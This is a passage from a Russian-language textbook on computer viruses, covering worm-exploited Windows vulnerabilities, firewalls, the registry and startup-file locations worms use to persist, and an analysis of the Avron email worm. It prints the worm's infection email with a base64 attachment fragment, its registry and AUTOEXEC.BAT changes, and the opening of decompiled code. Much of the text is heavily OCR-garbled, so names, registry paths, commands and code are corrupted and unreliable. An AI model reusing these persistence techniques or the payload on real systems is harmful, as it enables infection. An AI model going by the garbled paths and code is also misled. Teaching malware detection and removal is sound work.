не пользовалась. Зато «троянописателями» она эксплуатируется до 
сих пор на полную катушку.

Уязвимость М305-039 в службе РНР8  (Р1и§ апс! Р1ау З е т с е )  
в 2005 году позволила распространяться червям семейств №{>\Уогт. 
\¥т32.Вогоп (он же 2о1оЪ), №1-\Уогт.\¥1п32.ЬеЬгеа! и т. п. по 
компьютерам, работаюшим под управлением \¥шс1о\ге 2000. Ошибка 
переполнения буфера присутствовала в библиотеке «11МРМРМСК..

Осенью 2008 года обнаружена (видимо, самими программистами 
МгсгозоЙ) уязвимость М308-063 в службе КегАР1, доступной все че- 
рез тот же порт 445. Сначала бнла вьшухцена «заплатка», а потомуже, 
задним числом, вирусологи обнаружили червя, пьггавшегося эту уяз- 
вимость использовать, -  Ке1-\¥огт.\¥ш32.Сппгшу.

Итак, вьхше перечисленн наиболее известнне уязвимости первого 
десятилетия XXI века, способствовавшие возникновению и развитию 
крупнейших сетевнх эпидемий. Формально все они давно закрнтн 
«заплатками» и исправленн в новнх версиях системннх программ. 
На самом же деле рядовой пользователь, устанавливая на компьютер 
операционную систему, далеко не всегда спешит в магазин за дистри- 
бутивом самой последней версии Шшйолуз и не видит необходимости 
в немедленном скачивании с сайта М^сгозоЙ: и установке многочис- 
ленннх «заплаток» и «сервиспаков» обшим объемом свнше сотни ме- 
габайт. Поэтому число уязвимнх узлов глобальной сети по-прежнему 
остается значительннм, и количество машин, зараженньгх «старнми» 
сетевьши вирусами и распространяювдих «заразу» по всему миру, 
хотя и невелико в процентном отношении (что такое несколько тн- 
сяч, по сравнению с сотнями миллионов?!), но достаточно для того, 
чтобн обеспечить постоянное присутствие в мировом трафике ТСР- 
и П ОР-пакетов с агрессивннми зЬеП-кодами.

Кроме того, в глобальной сети постоянно «фонят» сетевне черви 
«новой волнн», определяювдие вирусную ситуацию в йнтернете, на- 
чиная с 2005 года. Их разновидностей сравнительно немного (N0 1- 
\Уогт.\Ут32.Ва§1е, Ке1-\Уогт.\Ут32.Му1оЬ, 7̂е1-Ш гт.\¥т32. 
РайоЬо1, ^еС-\\7огт.\Ут32.2Ье1а(лп, Ке(;-\Уопп.\\г1п3 2 .\ \;аге2 0 У, 
^еО\Уогт.\Ут32.Кк1о и т. п.), но они, как правило, пнтаются ис- 
пользовать сразу несколько различннх уязвимостей -  как «древних», 
так и «свежих».

«Домашний» пользователь, имеювдий динамический 1Р-адрес 
в локальной сети своего провайдера и живуший под зашитой корпо-
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ративного межсетевого экрана, обично редко наблюдает подлинную 
картину того, что творится в Интернете -  «на свежем воздухе». Но 
стоит только ему получить собственньхй, статический 1 Р-адрес, как 
он начинает оадушать себя Хомой Брутом, скорчившимся на полу 
шелястой часовенки посреди заброшенного кладбиша в лунную 
ночь пятницн, 13-го числа: в печной трубе стонет и скрипит зубами 
голодньпт вурдалак, из подполья пробивается полуразложившийся 
зомби, а на ступенях крнльца уже звучат тяжелне шаги Вия (см. 
рис. 6.18).

31.10.0813:24:54 Запрос на соеоинение 
31.10.0813:21:30 Запрос на соеаинеже 
31.10.0813:20:26 Запрос на соедине*«е 
31.10.0813:19:Г‘
31.10.0813:19:.'
31.100813:18::
31.100813:18:'

Атака на ОСОМ КРС, 
МЗВ1аз( возврашается?

£88.25.15:8.164 ТСР(1Э5) }
61.178 7?.з5 ГСИ13Й)
81.176.77.85 ТСРП395»

Х121.14.136 101 ТСР1135) )
е1.176.??.й5 ТСРЦ395)
202.97.238.228 иорпогб)
81.176.77.85 тсричяга

81.176.77.85 ТСРП395)
193.23.122.70 ТСРП271)
193.23.122.70 ТСРП283)
193.23.122.70 ТСР(12Л)
193.23.122.70 ТСР(1283)

Г61.139.54.94 иРР(1434П
1211.137.203.6 1ЮР(1434и

61.246.7.197 4СМРГ20481
(218.22.244.45 ПОР(1434))

20297.238.235 У Ь Р П В Д
89.186.127.38 ТСР(445)

31.10.0813:17:14 
31.10.0813:07:04 
31.10.0813:06:04 
31.100813:06:00 
31.10.0813:04:59 
31.10.0813:01:36 
31.10.0813:01:01 
31.10.0812:45:53 
31.10.0812:42:57 
31.100812:38:04 
31.10.0812:28:22 
31.10.0812:28:22

Загфос на соеоинение 
Залрос на соединение 
Злпгшг нл плплинкнил
3 
3.
3

Атака на МЗ 2(31_ 
(типа 81аттег) ?

Загрос на соединение 
Запрос на соединение
3 
3 
О-

Атака на 18АЗЗ ? 
(баззег?)

Запрос на соединете

Рис. 6.18 ❖ Несколько атак на 1Р-адрес, 
зарегистрированнух в течение часа

И неизвестно, какие уязвимости будут обнаруженн уже завтра -  
и в давно эксплуатируеммх версиях операционнмх систем, и в но- 
вмх программннх разработках. Одно можно утверждать почти на- 
верняка: избежать подобного развития ситуации практически не- 
реально.

Пользователь, будь готов!

6.5.5. Брандмауэрь!
Летописи любого, более или менее старинного города хранят сведе- 
ния о крупншх пожарах, уничтожавших порой почти всю деревян- 
н>то городскую застройку. В 1666 году горел Лондон, в 1842 году -  
Гамбург, в 1871 году -  Чикаго. До начала XX века более 30 раз дотла
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внгорала Москва. Огонь, как правило, бмстро разносился ветром от 
одного деревянного здания к другому, и никакие усилия жителей не 
могли ему помешать. Строить весь город из камня? -  Экономически 
практически неосушествимо. ведь позволить себе полностью камен- 
нне строения могли лишь наиболее зажиточнне горожане. Так по- 
явилась идея «брандмауэра» (от нем. Ьгапс1таиег -  противопожарная 
ограда) -  внсокой кирпичной стенн, размевденной между двумя до- 
мами и не позволяюшей огню перекидьшаться от одного строения к 
другому.

В сфере зашитн информации тоже сушествуют свои брандмауэри 
(их еше назнвают файрволлами, кроме того, они являются основннм 
компонентом любого межсетевого экрана) -  это программно-ап- 
паратнне или чисто программнне средства, фильтруюшие сетевой 
трафик. Сложнне «корпоративнне» экранн (например, программно- 
аппаратнне комплексн фирмн С1зсо) обьлно разграничивают друг 
от друга крупнне сегментн сетей, а более простне «персональньге» 
брандмауэрн (например, А^пЛиш ОиГрояС, Казрегзку АпННаскег, 
2опе1аЬя 2опеА1агт, Кепо Регкопа1 Ғпе^аП, АкЬатроо Ғйге\уа11, Дейсо 
Ғне^аИ и прочие) следят за трафиком, входявдим и/или исходяшим 
из какого-либо отдельного сетевого узла.

Сушествуют многочисленнне брандмауэрн сторонних произво- 
дителей, кроме того, простенький брандмауэр является составной 
частью операционннх систем \У1пс1о\чг5, начиная с версии 2 0 0 0  (более 
или менее приемлемнй вид он приобрел только в версии ХР 5Р2 -  см. 
рис. 6.19).

В основе работн любого брандмауэра лежит система правил, описн- 
ваю адая некоторую политику безопасности, заданную на множествах 
прикладннх программ, сетевнх адресов, потов и протоколов. Эта си- 
стема опреде.тает, каким приложениям разрешено взаимодействовать 
с сетью, через какие портн, при помоши каких протоколов и с какими 
внешними адресами. Обнчно значительная часть этой системм фор- 
мируется автоматически, но некоторне правила пользователь может 
добавлять и удалять вручную. Например, приложению «1ЕХРЮКЕ. 
ЕХЕ» можно разрешить доступ к любнм внешним адресам по любнм 
протоколам (иначе невозможно будет «ходить» в Интернет); доступ 
по протоколу Не1 ВЮ8  через портн 445 и 137-139 целесообразно по- 
зволить только внешним узлам, принадлежашим местной локальной 
сети (например, имеюшим 1Р-адресавида 192.168.*.* или 169.254.*.*); 
а доступ к узлу извне через порт 135 лучше всего запретить безуслов- 
но и т. п.
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ф  Брандмаузр ИЛпЛоша " М
0б1қие Исжлючения Дополнительно

БрандоауэрУЧМсгод помогеет предотерогтть несанкииониро»аннь«й 
доступ к вамему компьютеру через Интернет или сеть.

9

0

{§> Вм м чить (рвнн м ц ц ствя)

Этот параметр блокирует поАключение всех внеиних 
источникоа к даниому компьютеру, кроме вмбранньос на 
вкладке исключений

0  Нс раареяать ■аслячання

Вмберите этот параметр при поАключении к откритой сети е 
менее заа^цежьсс местах, нагример, е аэропоту. Вь< не 
будете получатъ уведомления, когда брандмауэр\Мпс<оуу5 
блокирует грограмми. Источники, вьбранньге на вкладке 
исключении, будут илюрироеаться.

0  А еш м ч ш ь  (»«е рмюмецшктБЯ)

Старайтесь не ислользовать этот параметр. Включение 
брандмауэраЧМпс!о^$ при»одит к снижению заа^лценности 
компьютера от бирусньос атак и злоумьшленников.

ПоАРобнее о боаидмауэое УУЕшДоууз

ОК Отмена

Рис. 6.19 ❖ Брандмауэр (файрволл), 
встроеннмй в \Мпс!о\л/з ХР

Основннми достоинствами брандмауэров является возможность 
«закривать» сетевме портм и предупреждать пользователя о подо- 
зрительнмх сетевмх запросах. Многие брандмауэрьт умеют внпол- 
нять и другие полезнне действия. увеличиваюшие зашивденность 
сетевого узла:

О следить за целостностью сетевнх приложений (оригинальньш 
ли «5УСНОЗТ.ЕХЕ» обратается к сети или его вирусная ко- 
пия?);

О проверять конфигурационнне файлн (не появилась ли в «ав- 
тозагрузке» новая запись?);
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О блокировать нежелательньш трафик через открмтне портм 
(не рекламннй ли баннер считнвается с удаленного сервера по 
протоколу НТТР? не программа ли с ‘М2’ в заголовке -  вместо 
картинки?) и т. п.

Очень упрошенно структура сетевой подсистемн \¥ тс 1олу5 внгля- 
дит следуювдим образом (см. рис. 6 .2 0 ).

о кольцо I з кольцо

СЕТЬ-
ДРАЙ8ЕР
СЕТЕВОГО ►

УРОВЕНЬ
N015- ►

ТО( . ДРАЙВЕРА
тРАнспортних ► |сОКЕТЬ1

АДАПТЕРА ДРАЙ8ЕРОВ ПРОТОКОЛОВ
ПРИЛО-
Ж ЕНИЯ

Рис. 6.20 ❖ Сетевая подсистема УМпйомз

Разумеется, бмли попнтки встраивания брандмауэров на уров- 
не транспортннх драйверов и даже сокетов (например, при помо- 
1ци «перехвата» функций библиотек «\¥52_32.0ЬЬ», «М 5\¥50СК. 
БЬЬ» и «\¥50СК32.В1Х»), но современньш программньш бранд- 
мауэр оформляется в виде низкоуровневого виртуального драйве- 
ра, занимаюшего место среди КГ)15-драйверов. Аббревиатура N015 
(Ке(\уогк Опуег 1пСег£асе 5 рес1ЙсаГлоп) соответствует спецификации 
на интерфейс взаимодействия между драйверами протоколов ка- 
нального уровня и драйверами более внсокоуровневнх протоколов. 
Она определяет определенннй формат КВ15-пакетов, правила соз- 
дания и включения промежуточннх драйверов и т. п. Благодаря рас- 
положению в «глубине» операционной системн брандмауэр имеет 
возможность перехватмвать и анализировать сетевой трафик прак- 
тически сразу после прохождения его через сетевой адаптер -  гораздо 
раньше вирусов, червей, троянских программ и сетевьгх приложений
\¥ 11К1()И'Я.

Тем не менее самьш простой вариант брандмауэра может работать 
на уровне сокетов, используя появившиеся в \¥тс!оу/з 2 0 0 0  функции 
фильтрации сетевмх пакетов:

О «РЮгеаСе1пГег£асе» -  создает логический интерфейс;
О «РҒА^йҒЛтегеТоЬпегҒасе» -  наполняет логический интерфейс 

правилами фильтрации пакетов;
О «РГВ1 пс! 111 (ег 1асеТоIРА(1 с1 ге5 8 -  связмвает логический интер- 

фейс с конкретньтм сегевьш интерфейсом.
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6.6. Как черви заражают компьютер
...Уеидел на его тоцей подбритой шее, всамой 
ямочке под затшлком, короткий розоватий 
побег, тоненький, острий, уже завиваюшийся 
спираяью, дрожагций, как от жаЭности.

А. и Б. Стругацкие. «Улиткана склоне»

Уже бнл отмечено, что характерной особенностью вирусов-червей, 
отличаюших их от вирусов-паразитов, является «автономность». 
Черви заражают не отдельние программм, а встраиваются в систем- 
ную среду компьютера.

Есть черви, которме сушествуют только в оперативной памяти 
компьютера, вообше не оформляя себя в виде файла. Например, N6 1- 
\Уогт.'\\гт32 .81аттег приходил на компьютер в виде Ш)Р-пакета, 
полностью размешался во внутреннем буфере серверного процесса, 
благодаря уязвимости М502-039 сразу получал управление и начинал 
работу, пнтаясь разослать себя по другим компьютерам сети. После пе- 
резагрузки операционной системн он, разумеется, погибал и оставлял 
о себе следм только в виде записей в сетевих логах (если они велись).

Но подавляюшее большинство почтовнх и сетевнх червей, полу- 
чив тем или иним образом в первнй раз управление, стараются закре- 
питься на компьютере, обеспечив себе «долгую и с.частливую жизнь». 
В разделе, посвяшенном конфигурированию \¥1пс1о\\'8, уже рассма- 
тривались некоторне способи, которме позволяют вирусам обеспе- 
чивать свой несанкционированннй автоматический запуск после 
перезагрузки операционной системн.

Почтовне и сетевне черви, ориентированнне на работу в \ У ш с 1о \У 5  

9Х, чавде всего записнвают себя в ключ «гип» конфигурацнон! ю- 
го файла «\УШ.ШЬ. Например, так поступают Е-\¥огт.\Уш32. 
СЬо1ега, Е-\Уогт. \У1 пЗ 2. Ре(лк, №1-\\Ъгт.\\1п32.0ра8оЛ и многие 
другие. Вторьш по распространенности способом является использо- 
вание ключа «8Ье11» конфигурационного файла «5У5ТЕМ.Ш1». При 
помоши этого ключа определяются командная оболочка \УтйолУЗ, 
интерактивно взаимодействуюшая с пользователем (обьмно это 
«ЕХРШКЕК.ЕХЕ»), и параметрн ее запуска. Вот как этим обстоя- 
тельством пользовался червь №<>\Уогт. \¥ш32.№т<1а:
[0001]
оеи^отз. гап=удаоеи. ‘ оп
зпе11=Ехр1огег.ехе 1ого.ехе -аш гц п о Ю  ; <- 1оай.ехе - Фэйл вируса !П
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Встречаются и черви, которне используют крайне примитив- 
ньгй способ автозапуска -  копируют себя в каталоги «С:'\\¥тс1о\\'5\  
Главное меню\Программн\Автозагрузка» и «С :\\¥тс1о\\'5\А 11 и$егз\ 
Главное меню\Программн\Автозагрузка». Сработает этот прием и 
в \¥тс!о\\'8МТ, только там каталоги автозапуска расположенн не внут- 
ри «С:\\Ут<1о\У5», а внутри «С:\БоситепС5 апс! 5е1:йп£8». Копирова- 
ли себя в эти каталоги, например, Е-\Уогт.\Ут32.8оЬ1§ и Е-Шогт. 
\¥т32.5\уеп. Впрочем, вирусньш файл, расположенньш в каталогах 
автозапуска, пользователь легко может увидеть невооруженннм гла- 
зом и удалить вручную. Главннй же недостаток подобного подхода 
заключается в различии имен каталогов для разннх версий \ \ ;1пс1о\\'5. 
В частности, для заражения американской и панъевропейской раз- 
новидностей \¥ 1пс1ои'5 необходимо копировать файл червя в «С:\ 
\¥тс 1о\У5\А 11 изегз\51аг1 тепи\Рго§гат8\51аг1:ир». Таким образом, 
червь, попав в локализованную операционную среду, просто теряет 
возможность автозапуска.

Наиболее популярньш среди червей методом автозапуска, при- 
годннм и для \Утс1о\\'5 9Х, и для \У1пс1о\\'8 N1’, является запись 
ссмлки на себя в ключе Реестра «НКЬМ\80ҒТ\¥АКЕ\М1СгозоЙ:\ 
\¥1пс1о\У5\Сиггеп1;Уег510п\Яип». Этот прием характерен, по крайней 
мере, для 80% сетевнх и почтовнх червей. Он уже бнл продемон- 
стрирован внше, при описании поведения червя ^ е1-\¥огт. \¥ т 3 2 . 
Вогоп .Ь . но не гнушались им и № 1-\¥огт.\¥т32 .5а85ег, и Е -\¥ о гт . 
\Уш32.Тапа1о5, и Е-\¥опп,\¥1п32^ е^ хку, и Е-\¥от.\¥1п32.8оЬ18, и 
Е-\¥опп.\¥|п32.Ва§1е, и многие другие, как «знаменитае», так и ме- 
нее распространеннме черви.

Также нередко встречается модификация ключа «НКСК\ехей1е\ 
зЬе! 1\ореп\соттапс1». По умолчанию значение этого ключа -  ««%!» 
%*ь, а вот пример изменений, внесенннх в Реестр червем Е-\¥опп . 
\¥ т32 .8 (а1ог (см. рис. 6.21):

г ^едактор реестра ■  - Ш  .^1
Реестр ф авка Избранное £лравка 11

-~Й ОеҒаиШсоп (а | Иия 1 Тип 1 Значение ........
Е3-Й1 5Ье< ■  

ф -в ореп О  
| соттапй Я  

Ш Ш  г т ю  ”

@|(По умолчанию) 1 К£С_52 сД1оайре.сот" ■%!"%*

3 - ..И И
||Мой котьютерунКЕУ.СХА^ЗЕЗ^КООДехеР^^Ье^ореп^соттап^ .4

Рис. 6.21 ❖ Изменения в Реестре, произведенние червем 51аЮг
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Среди других червей, используювдих этот прием, можно упомя- 
н>ть Е-тпп.ЛГш32.КаУ1с1аа) Е-\Уопп.\¥т32.5\уеп, Е-\Уогш.игт32. 
Ргейурагк и т. п.

Вирусм, ориентированнме на сувдествование исключительно 
в среде \¥ 1пс1ош5 N1’ нередко прописмвают себя в ключах «НКЬМ\ 
5 оЙ\уаге\М1сго8ой;\\¥1пйо\У5 КТ\СиггепШггаоп\\Ут1о§оп\ш>епш<> 
или « Н К ЬМ \8 о(Ъл’аге\М 1 сг озоЛ\\¥1п с1 о\\'8 НТ\Сиггеп1:Уег510п\
\¥т1о§оп\зЬе1]». Такое поведение характерно для довольно «совре- 
менньгх» сетевмх червей ̂ еЬ-\Уогт.\Уш32.84аугоп, Е-\Уогт.\¥1п32. 
\¥агегоу, Е-\Уогт.\Ут32.2Ье1айп и прочих. Некоторме «продвину- 
тьге» черви, такие как №£-\¥огт.\Ут32.А1ег.а, Ке1-\Уогт.\У1п32. 
К1<1о (он же Сопйскег), Е-\Уогт.\У1п32.Ва§2 и прочие, оформляют 
себя в виде системннх служб (сервисов) и драйверов, для чего соз- 
дают в Реестре ключи «НКЬМ\8узСет\Сиггеп(;Соп1:го15е1\8еп'1се5\ 
Имя_службм» и заполняют в них все необходимме значения.

Сушествуют и другие «опаснме» ключи Реестра, используемме 
вредоноснмми программами для обеспечения своего автоматическо- 
го запуска после перезагрузки. Вот их краткий перечень, извлечен- 
ньш из технической статьи, описмваювдей поведение одной из ран- 
них версий брандмауэра А§т<:ит Ои1 ро5С Ғ1ге\уа11. Брандмауэр при 
своем запуске проверял:
"НК1Л\50Ғ1ШЯЕ\Н1сгозоП\М1п<!а*(8\СиггептУег51оп\Ехр1огег\ Вгоизег Не1рег Оозесгз"; 
"НКСи... ■' и "НК1М\80ҒТХАВЕ\И1 сго$оТТ\1 « е т е г  Ехр1огег\Ехр1огег Вагз"; 
"НК1А$ОИХАЯЕ\М1сго8оТТ\М1пйо>*з\СиггепТУегз1оп\В<р1огег\ ЯеяоТеСотоиТег\Мате8оасе'';
"НКС11. . . “ и "НКЬМ\30ҒТИАРЕ\М 1сГ080ТТ\IптегпеТ Ехр1огег\ЕхТепзюп8"; 
"НК1К\30ҒТМАЙЕ\С1аззез\з11е11ех\Соп1;ехТНепиНаг!а1егз"; 
"НК1М\80ҒТИАйЕ\М1сгозоТТ\М1псо«5\Суггепт\/ег51оп\311е11ЕхТепз10п5\АрргоуеО"; 
"НКТМ^ЗоТгяаге^М^сгозоТт^ХпТегпеТ Ехр1огег\Тоо1Ьаг";
"НКСЦ..." и “НК1М\ЗоТТиаге\М1сго.зоГТ\1пгегпеТ Ехр1огег\Тоо1Ьаг\ 5Т)е11 Вго«зег“ . 
"НКТМ^ЗоТТигаге^МХсгозоТтУпТегпеТ Ехр1огег\Тоо1оаг\№Ь8го«зег"; 
"Н1аН\80ҒТ>1АВЕ\М1сго8оТт\И1п(!о«13\СиггепТУегз1оп\Ехр1огег\ ЗПэгеОТазхЗс^есШег"; 
"НКСЦ\80ҒТИАЯЕ\М1сгозоТТ\»11П0о»8\СиггепТУег81оп\Ехр1огег\ ЗйагеРТазк5спес)и1ег"; 
"НК1Н\80ҒТМАЙЕ\М1сгозоТг\М1пйомз\СиггепгУегз1оп\Ехр1огег\ ЗПеИЕхесиТеНоокз";
"НКС11. ." и "НК1М\80ҒШ№Е\М1сго$оТТ\1пТегпеТ Ехр1огег\ ийьЗеагспНоокз"; 
"НК1К\80Ғ1ХАНЕ\М1сгозоТт\И1п001*з\СиггепТ\/егз10п\ ЗПеПЗегу1се0Ь]есТ0е1ауТоаб"; 
"НКТМ^бОҒТМАНЕхМгсгозоТт^йпйОиз^СиггепгуегзгоПхР.ип":
"НК1Н\80Ғ'ШАйЕ\М1сгозоТТ\М1поомз\Си ггептУегз1оп\Вип0псе"; 
"ИЮ.И\80ҒШЯЕ\НАсгозоП\1й(Ю{я*5\Сиг1гепТУег81Оп\Яил0псеЕх"; 
"НКСМ\80ҒТ>МЧЕ\М1сгозоТт\М1пс1о»15\СиггепТУег51оп\йип8е гуюез";
''НК1М\80ҒТ'лАНЕ\М1сгозо?1\й1пбо«5 НТ\СиггепТУег810п\й1 п 1 одоп\ СРЕхТепзюпв. ■ '. все 
О Ш ате;
”НК1М\80ҒТШЕ\М1сгозо?Т\>Г1пс1о»5 МТ\ СиггепТУеГ510П\ И1п1одоп\ N011 Су . все 
СПНаве;
"НКСУ. ."  и "НК1М\ЗоТТ'йаге\М1СгозоТг\1г|Т.егпеТ Ехр1огег'\МепиЕлТ",
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" Н К С В \ Ш М 1 в . и  "е хвШ е". и "со тШ е " , и “р Ш И е " ,  и "Ь аиШ е", и 
"с*вЯ 1в", и "в о гШ в " , и “ гваШ в . . \8пеП \ореп.. " или "гипаз... \солипапс!” ,
'■НМ.М\5У8ТЕМ\СиггепгСоп1:го13ег\Сог':1:го1\5е5510пМападег\Бий8у51:еиз\«1пс1о»5” .

6.7. Пример обнаружения, исследования 
и уладения червя

До чего же вкусного червяка забросияа кахая- 
то сволочь на уЭочке в эту завоЭь!

А. и Б. Стругацкие. «Хшцнне веши века»

Рассмотрим основнне приемн обнаружения и удаления сетевой «за- 
разм^ на примере червя Е-\Уогт.\Ўт32.Аугоп.а (известного также 
под «псевдонимами» Ауп1 и  Ь1гуа). В начале 2003 г. эта саморазмно- 
жаюшаяся программа, написанная неизвестним казахским вирусопи- 
сателем, сумела организовать вполне заметную в мировнх масштабах 
эпидемию и тем самьш «прославить» страну космодромов, ядернмх 
полигонов, високогорнмх катков и двугорбмх верблюдов.

6.7.1. Проявления червя
Основнне свойства Е-\Уогш.\У1п32.Аугоп.а легко внясняются в ре- 
зультате несложннх экспериментов.

Червь приходит по электронной почте внутри примерно вот такого 
письма:

ЗиЬзесС: Ғ»: А у П 1  1_ау1дпе -  №е оезг
Ғгош: А м п 1 1.аУ1дпе <аугЛ»ауг11.со»> <- Подявльний обратнмй адрес
ЯерГу-То: АСТ8/Ассе1з <депега!»асгг.огд? <- Поддельний обратний адрес
То: тазпа-уезпизнкта^ гаш ь^ег. ги

Сопгепг-Туре: тиШрзгт/ш1хес!; Ьсипйагу= ” - -АВСОЕҒ"
Т М з  15 а ви Ш саг1 ; Ш ИЕ-сосес ВДБзаде 
 АВСОЕҒ
С о п геп г -Т д е : 1 е х 1:/пгш1 ; сП а га е г -^ и з -а в сИ ”
Сопгепг-Тгапз^ег-Епсоашд: аиогей-ргттаоХе 
<ьгв1><пеаах/ье2 й><ь0йу>
<п2>йез1:г1стеа агеа гезропзе 1еа* ( ЙАЯТ)</И2>
<Ьг><Иг>А1:1:асЯп1ег|1 уои зеп1: ю  Уазуа 18 г е а Н у  доой 
<Ьг>йе11 йопе!<Нг>
<Ьг>8МТР зеззюп еггог #450: зег\лсе го ! геаиу 
</Ьо0у></Мгг1>
- —  АВСОЕҒ
Сопгеп^-Туре: ац(Ло/х-»ау

: - )  <- Подлиннмй логин

<- Яюбй "эвуковой файл"
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С оптет-В хзро зи ю п : апасЬтеп!: ТИепахе="веа<1яе.ехе" <- Реапьно -  программа 
Соптет-Тгапз^ег-ЕпсойШ д: Ьазе64

■П/оОААКМААЕАААА//8АА1дАААААААААОАААА.ААААААААААААААААААААМАААААААААААМАААА
АААА4ММА4*:ид4А1АпМ11)дВТМОМ611рсуВ»сп|9пС1лҒ1:1СН()Ьл|5уОСВ123ву0И4дакЮдВЕ9Т16'!У

ААААМАА01Ш2А“
 АВСОЕҒ--

Опмтньш глаз вирусолога сразу обнаруживает в этом письме 
стремление использовать уязвимость М301-020. При попнтке прос- 
то ознакомиться с текстом письма программа «КЕАБМЕ.ЕХЕ», по- 
меаденная внутрь в виде вложения, запустится автоматически (если 
для работм с почтой используется ОиЙоок «стармх» версий).

Стартовав, червь немедленно раскладьшает свои копии со слу- 
чайними именами (ЕХЕ-файли длиной 26 112 байтов. упакованньге 
11РХ):

О в системньш каталог (например, С : \ \ ¥ 1  п Ао\ч$ \ 8  У8 '1'Е М » или 
«С:\\УтШ \3¥5ТЕМ 32*);

О в каталог временнмх файлов (например, «С:\\У1П(1олуз\ 
ТЕМР»);

О  в каталоги удаленнмх файлов (например, <ГЗ:\КЕСУСЕЕО. 
В1М») на всех дисках компьютера, в том числе на съемннх и на 
подключенннх сетевмх.

Кроме того, на диске появляются:
О в каталоге операционной системм (например, в «С:\\\% 1- 

(1ои78»>) -  файл «Е15ТКЕСР.0ЕЕ>> со списком адресов, обнару- 
женннх червем;

О  в каталоге временннх файлов -  «НЕ\УВООТ.5У5» с червем, 
закодированннм при помовди Вайе-64/Мппе:

О  и там же -  файл со случайннм именем и текстом «реюшмного» 
характера:
А и гй о г --------------> 2002 (с) 01то у о п  Си1:еп0егд
Иайе 1 п -------------> А1гаату . : : ]КагакИ8Тап[: : . ( : : ) - - : >
Ри гро зе -------- > 0п1у Есисз1:1опа1
У1ги5 пагое --> АУЙИ (р1еазе йо пог сПапде 11:)

[АСКМОМЬЕСОЕМЕНТ]
Апголег УОХ & Наскег Сгсир 1гош СепТга! А.31а
Тпапх то Наде, Яаллл апо У-Н1У; сойегг.пет, 1псоу1гиз.пет, зесиату1аЬ.ги етс. 
Тпапк уои тог 1 йеаз арргоасП тс из!!!
Вуе

Количество вируснмх файлов в каталогах увеличивается с каждой 
перезагрузкой.



Во всех версиях \Ут<кмз червь модифицирует Реестр (см. 
рие. 6 .2 2 ).

Пример обнаружения, исследования и уааления червя ❖ 447

1 Р е д а к т о р  р е е с т р а (Я (= 1[П |

£есстр Прввиа Справкл ||
Й -С З  N«»«0*. ^  
$ - С )  «к
Ф О  Ройс«е«
£ -€3  йип 
Н С З  ВипОпсе 
1-4 } РцпОпсеЕх 
Ь*СЗ Вип5еглсе$

Паоамелз 1 Значение -
® п(ета1еие
Э и м Р о т д а Р к й е

1 0 0 0 9 1
@5сапВед|8«|у
@5у*(етТ{а1)
®  ТаЛМопЛо»

"п(е(па(.ехе"
’Т!111Л32.е*е роиртоГлЯД-оасСшеп^ВиБсЬете" 
"С:\ММ00^5\5У5ТЕМ\еҒ6Э50дс2ад.ЕХЕ" 
ХММОСМЪ^гсап^едн.еке/аиюпт" 
"ЗугТму.Еке"
ТЛМ№ 0\>/$У<кктолете"

-М  1 .  1 Ь Л :<т 1 М

[Мой комгьютер^НК^У^ШСА^МАСН^Е^БоЛивеЧЦ^асвоЙВДпйот^СигепР/ваоп^Вип ^ А

Рис. 6.22 ❖ Модификации Реестра, 
виполняемие червем А у г о п

Также в \¥ 1П(1о\У5 9Х о н  дописнвает строчку к файлу «А11ТОЕХЕС. 
ВАТ»:

тойе соп соЗеваде ргераге-((866) С:\уШШ«8\СОМИА^О\еда3.ср1.)
тойе соп сойераде зе1ес1:=866
кеуВ ги, , С:^ИТНООиЗ^СОКМАМЭ^кеуЬ гоЗ. 2уз
»»1п С:\ВЕСУССЕ0\1344г84(\.ехе <- запуск И1п<1о*з 9Х и черйя

Зловредний процесс не виден в памяти 'МпсЬ^з 9Х, но легко об- 
наруживается при помогци менеджера задач ТА5КМСК в \¥1пс!ои’з 
КТ. Вот что «рапортует» по этому поводу замечательная >тилита 
НЦаскТШз, которая смотрит сразу во все потенциально опаснме 
«уголки»:
1.одШе сТ Тгепс! М1сго ■); )а с к : ':з  у 2.0 .2

Яиплхпд ргосеззез:
С: \ШЭ0«3\5У8ТЕМ\КЕЯНЕ|_32. ОИ 
С:\Х1В00М8\ЕХР10йЕй ■ ЕХЕ 
С: \ й*1НР0И$\8УЗТЕМ\4С6В0Е0С670. ЕХЕ

С: \ЙШ0«$\8УЗТЕМ\И1М0А386. МОО 
С:\РВООВАИ Ғ11_ЕЗ\ҒАЙ\ҒАЯ. ЕХЕ 
С:\АМТ1\НШСКТИ18.ЕХЕ

04 -  НК1М\. Дйип: ( ш тегпат. ехе] штегпз!:. ехе
04 -  НК1К\. ДЧип: ГЗсапВедгзтгу] 0 :\МШЭ0И5\5салгедм.ехе /аигогип
04 -  НК1Н\.. \йич: ГТазкИопИог] С: \;*'1М00й'8\Тазкроп ехе
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04 -  НК1_М\.. \йип: [ВузгешТгау] ЗузТгау.Ехе
04 - Н Ш \ .  Л Н ип : [М оШ тег] С:\ИгаР0У)$\ВУ5ТЕ»\сҒ695Рос2АА. ЕХЕ

Епб оТ т и е  -  2071 Ьуиез

Интересно, что в памяти находится процесс, стартовавший из 
файла «4С6В0Е0СС70.ЕХЕ», а в Реестре уже прописан файл совсем 
с другим именем -  он будет запувден после следуюшей перезагрузки 
\Уик1ои’5.

Находясь в памяти, червь несколько замедляет работу системн, не- 
прерьшно «треша» винчестером (что можно обнаружить визуально) 
и посилая «наружу» по сети запросм на порт 25 (что можно отсле- 
дить при помоши брандмауэра).

Некоторне нрограммм, позволяювдие «увидеть» и удалить чер- 
вя, -  антивируси, брандмауэрн, системнне утилитн, -  при активном 
черве перестают запускаться или внезапно «внлетают».

Ну и наконец, два раза в месяц -  7-го и 24-го числа -  червь начина- 
ет бессистемно перемевдать курсор на экране и непрернвно запускать 
1п1ете1 Ехр1огег, пнтаясь залезть на \У\¥\¥-страничку Ь(Хр://улу\у. 
аутИ-1ау1епе.сот. -  налицо глубокие эротические переживания авто- 
ра червя по поводу прелестей канадской певицн Аврил Лавин.

Непатриотично забнвать про Розу Рнмбаеву и группу А-Студио, 
господин казахский вирусописатель!

6.7.2. Анализ алгоритма работм
Более конкретньхе сведения об устройстве и повадках червя можно 
получить, исдользовав утилитн-распаковвдики, отладчик, дизассемб- 
лер, декомпилятор и... здравнй смнсл, позво.тяювдий довольно при- 
близительно, но со вполне достаточной для анализа достоверностью 
восстановить исходнне текстн его фрагментов.

6.72.1. Установка в памяти
Обвдая структура головного модуля позволяет проследить за дей- 

ствиями червя при установке в памяти.

хГ (ОрепНигехА(Р, 1, 'А - .т П  1 э у 1 д п е " ;)  { / /  Если та ко й  м ью тею  уже е с ть

ше = 0 е 1 С и гге п 1 Р го е е з 8 () ;  / /  Полумить свой 10

